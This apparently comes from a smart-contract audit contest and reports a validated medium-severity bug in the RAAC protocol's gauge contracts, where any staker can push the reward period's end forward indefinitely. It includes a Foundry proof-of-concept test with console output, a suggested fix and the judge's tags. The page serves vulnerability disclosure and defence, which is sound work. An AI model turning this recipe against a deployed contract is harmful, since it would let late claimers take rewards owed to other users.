Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Gauge reward period can be extended indefinitely

Summary

Any user can extend lastUpdateTime of a Gauge, which will effectively delay end time of current period finish. As a result, unclaimed reward amount can be stolen by late claimers.

Vulnerability Details

Root Cause Analysis

Users can stake veToken to a Gauge and claim rewards later. User's earned reward amount depends on getRewardPerTokencalculation, which has the following implementation:

function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}

lastTimeRewardApplicableis calculated as the following:

function lastTimeRewardApplicable() public view returns (uint256) {
return block.timestamp < periodFinish() ? block.timestamp : periodFinish();
}
/**
* @notice Gets end time of current period
* @return Period end timestamp
*/
function periodFinish() public view returns (uint256) {
@> return lastUpdateTime + getPeriodDuration();
}

lastUpdateTime state variable is initially set when controller notifies reward amount:

function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
@> lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}

lastUpdateTime is updated whenever _updateReward modifier is called

function _updateReward(address account) internal {
rewardPerTokenStored = getRewardPerToken();
@> lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
UserState storage state = userStates[account];
state.rewards = earned(account);
state.rewardPerTokenPaid = rewardPerTokenStored;
state.lastUpdateTime = block.timestamp;
emit RewardUpdated(account, state.rewards);
}
}

_updateReward modifier is appended to stake, withdraw, getReward, checkpoint and voteDirectionfunctions.

With the above knowledge, consider the following scenario:

  • Controller notifies reward at timestamp 0

    • lastUpdateTime = 0

  • 1 day passes, and the user calls any of the external functions guarded by _updateReward modifier.

    • block.timestamp = 1 days

    • periodFinish = lastUpdateTime + getPeriodDuration() = 0 + 7 days = 7 days

    • lastTimeRewardApplicable = block.timestamp < periodFinish ? block.timestamp : periodFinish = 1 days

    • lastUpdateTime = lastTimeRewardApplicable = 1 days

  • At this moment, periodFinish = lastUpdateTime + getPeriodDuartion() = 1 days + 7 days = 8 days

Note: In this scenario, days represents Solidity time unit, and does not represent duration.

So what happened here is periodFinish is increased from 7 days to 8 days. This means anyone can extend periodFinish indefinitely and user can claim rewards even after 7 day (or 30 day for RWA gauge) period.

Since total reward of Gauge is limited, late claimers will begin to steal rewards from unclaimed users after reward period end time.

POC

Scenario

  • alice stakes some veToken in RAACGauge

  • GaugeControllerdistributes 500K reward token to RAACGauge

  • For each day over the course of 100 days, alicevotes for direction to trigger _updateRewards modifier

  • Reward period never ends during these days

How to run POC

  • Integrate foundry to the project

  • Create a file test/poc.t.soland put the following content and run forge test poc.t.sol -vvv

pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {RAACGauge} from "../contracts/core/governance/gauges/RAACGauge.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {MockToken} from "../contracts/mocks/core/tokens/MockToken.sol";
import {GaugeController} from "../contracts/core/governance/gauges/GaugeController.sol";
import {IGaugeController} from "../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
contract GaugeTest is Test {
RAACGauge raacGauge;
RAACToken raacToken;
MockToken veToken;
MockToken rewardToken;
GaugeController gaugeController;
address alice = makeAddr("alice");
uint256 userAssetAmount = 10000e18;
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new MockToken("veRAACToken", "veRAAC", 18);
raacToken.manageWhitelist(address(veToken), true);
rewardToken = new MockToken("Reward Token", "RWD", 18);
gaugeController = new GaugeController(address(veToken));
raacGauge = new RAACGauge(address(rewardToken), address(veToken), address(gaugeController));
raacGauge.grantRole(keccak256("CONTROLLER_ROLE"), address(this));
raacGauge.setBoostParameters(25000, 10000, 7 days);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 10000);
}
function testPeriodExtension() external {
veToken.mint(alice, userAssetAmount);
vm.startPrank(alice);
veToken.approve(address(raacGauge), userAssetAmount);
raacGauge.stake(userAssetAmount / 2);
vm.stopPrank();
deal(address(rewardToken), address(raacGauge), 500_000e18);
gaugeController.distributeRewards(address(raacGauge));
console.log("Initial period finish is :", raacGauge.periodFinish());
vm.startPrank(alice);
for (uint256 i; i < 100; i++) {
skip(1 days);
raacGauge.voteDirection(1);
}
vm.stopPrank();
console.log("Final period finish is :", raacGauge.periodFinish());
}
}

Console Output

[PASS] testPeriodExtension() (gas: 2345402)
Logs:
Initial period finish is : 604801
Final period finish is : 9244801

Impact

  • Gauge reward period can be extended indefinitely

  • Users who claims even after reward period will steal rewards from unclaimed users

Tools Used

Manual Review

Recommendations

BaseGaugeshould maintain a separate state variable to store reward start time.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge period end time miscalculation creates circular dependency between periodFinish() and lastUpdateTime, preventing periods from naturally ending and disrupting reward distribution

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge period end time miscalculation creates circular dependency between periodFinish() and lastUpdateTime, preventing periods from naturally ending and disrupting reward distribution

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.